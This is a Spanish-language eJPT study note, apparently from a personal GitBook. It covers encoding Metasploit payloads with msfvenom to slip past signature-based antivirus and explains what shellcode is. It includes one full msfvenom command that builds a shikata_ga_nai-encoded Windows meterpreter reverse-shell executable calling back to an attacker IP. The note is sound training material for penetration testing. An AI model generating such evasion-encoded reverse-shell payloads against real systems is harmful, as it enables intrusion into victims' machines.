> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/metasploit-framework-msf/ataques-del-lado-del-cliente/payloads/codificacion-de-payloads-con-msfvenom.md).

# Codificación de payloads con Msfvenom

## ⚠️ ¿Por qué codificar un payload?

Cuando realizamos un ataque del tipo *client-side*, el payload malicioso debe almacenarse y ejecutarse en el sistema de la víctima. Debido a esto, los atacantes deben tener en cuenta la detección por parte de soluciones antivirus (AV), especialmente si el payload se guarda en disco.

Los antivirus tradicionales, especialmente los más antiguos o los gratuitos, suelen basarse en **detección por firmas**, es decir, reconocen patrones específicos en archivos maliciosos conocidos. Esto hace que, si usamos un payload generado de forma estándar por herramientas como Msfvenom, es muy probable que sea detectado.

***

## 🧱 ¿Qué es la codificación?

La **codificación** de un payload consiste en modificar su *shellcode* para cambiar su firma, dificultando su detección por antivirus. Este proceso no cambia la funcionalidad del payload, pero sí altera su estructura interna lo suficiente como para evadir la detección basada en firmas.

> 🎯 *Importante:* La codificación no debe confundirse con encriptación o compresión. Solo altera la forma del shellcode sin ocultar ni proteger el contenido.

#### 🧰 Ejemplo de codificación con Msfvenom

```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.6 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded_payload.exe
```

**Parámetros:**

* `-e`: Define el encoder (por ejemplo, `x86/shikata_ga_nai`).
* `-i`: Número de iteraciones de codificación (más iteraciones = más ofuscación).
* `-f`: Formato del archivo de salida.
* `-o`: Nombre del archivo resultante.

***

## 💡 ¿Qué es el Shellcode?

El término **shellcode** se refiere a un fragmento de código que actúa como *payload* durante la explotación. Su nombre proviene del objetivo inicial de estos códigos: abrir una **shell remota** en el sistema víctima.

Hoy en día, los shellcodes son más sofisticados y permiten ejecutar funciones avanzadas como:

* Conexiones inversas (reverse shells)
* Descarga y ejecución de otros archivos
* Interacción con memoria o procesos del sistema

Los payloads generados por Msfvenom contienen shellcode que puede ser codificado, incrustado en ejecutables, scripts, documentos, etc.
